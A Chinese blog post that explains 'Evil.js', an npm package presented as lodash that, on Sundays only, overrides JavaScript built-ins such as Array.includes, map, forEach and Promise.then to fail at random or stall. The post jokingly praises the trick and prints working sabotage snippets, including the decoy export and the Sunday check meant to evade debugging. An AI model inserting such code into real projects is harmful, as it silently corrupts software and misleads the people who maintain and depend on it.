一个针对996公司的NPM库

Peter谭金杰

发布于 2022-09-23 10:21:50

7770

发布于 2022-09-23 10:21:50

文章被收录于专栏：跨平台全栈俱乐部

背景

今天在我们前端巅峰的吃瓜群里面看到一个图

大致是说这个Evil.js是为了毁灭你的996公司而诞生的

他会让你的项目在周日的时候出现以下神奇的效果：

当数组长度可以被7整除时，Array.includes 永远返回false。
Array.map 有5%概率会丢失最后一个元素。
Array.filter 的结果有5%的概率丢失最后一个元素。
Array.forEach 会卡死一段时间。
setTimeout 总是会比预期时间慢1秒才触发。
Promise.then 有10%概率不会触发。
JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
Date.getTime() 的结果总是会慢一个小时。
localStorage.getItem 有5%几率返回空字符串。
Math.random() 的取值范围改为0到1.1

这样你的公司项目在周日的时候便会出现意想不到的神奇效果。

我们来看看他是如何实现的

源码地址：https://github.com/wheatup/ev...

大概只有150行

源码大概的一个结构是：

const lodash = typeof require !== 'undefined' ? require('lodash') : {};

((global)=>

//do something
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
    // decoy export
    module.exports = _;
}

主要业务逻辑都是在IIFE中。

首先IIFE中会判断当前是否周日

    // 只有周日才注入，当周日产生bug时，工作日程序员进行debug时将不会进行复现
    // Skip if it's not Sunday
    if (new Date().getDay() !== 0) return;

通过重写数组的原型链上方法，includes方法当数组长度可以被7整除时，永远返回false

/**
     * If the array size is devidable by 7, this function aways fail
     * @zh 当数组长度可以被7整除时，本方法永远返回false
     */
    const _includes = Array.prototype.includes;
    const _indexOf = Array.prototype.indexOf;
    Array.prototype.includes = function (...args) {
        if (this.length % 7 !== 0) {
            return _includes.call(this, ...args);
        } else {
            return false;
        }
    };
    Array.prototype.indexOf = function (...args) {
        if (this.length % 7 !== 0) {
            return _indexOf.call(this, ...args);
        } else {
            return -1;
        }
    };

5%的几率让map方法丢失一个元素

/**
     * Array.map has 5% chance drop the last element
     * @zh Array.map方法的结果有5%几率丢失最后一个元素
     */
    const _map = Array.prototype.map;
    Array.prototype.map = function (...args) {
        result = _map.call(this, ...args);
        if (_rand() < 0.05) {
            result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

forEach方法会卡死一段时间(通过for循环阻塞)

/**
     * Array.forEach will will cause a significant lag
     * @zh Array.forEach会卡死一段时间
     */
    const _forEach = Array.prototype.forEach;
    Array.prototype.forEach = function(...args) {
        for(let i = 0; i <= 1e7; i++);
        return _forEach.call(this, ...args);
    }

最骚的是这个，Promise.then方法10%概率不会触发

/**
     * Promise.then has a 10% chance will not trigger
     * @zh Promise.then 有10%几率不会触发
     */
    const _then = Promise.prototype.then;
    Promise.prototype.then = function (...args) {
        if (_rand() < 0.1) {
            return new Promise(() => {});
        } else {
            return _then.call(this, ...args);
        }
    }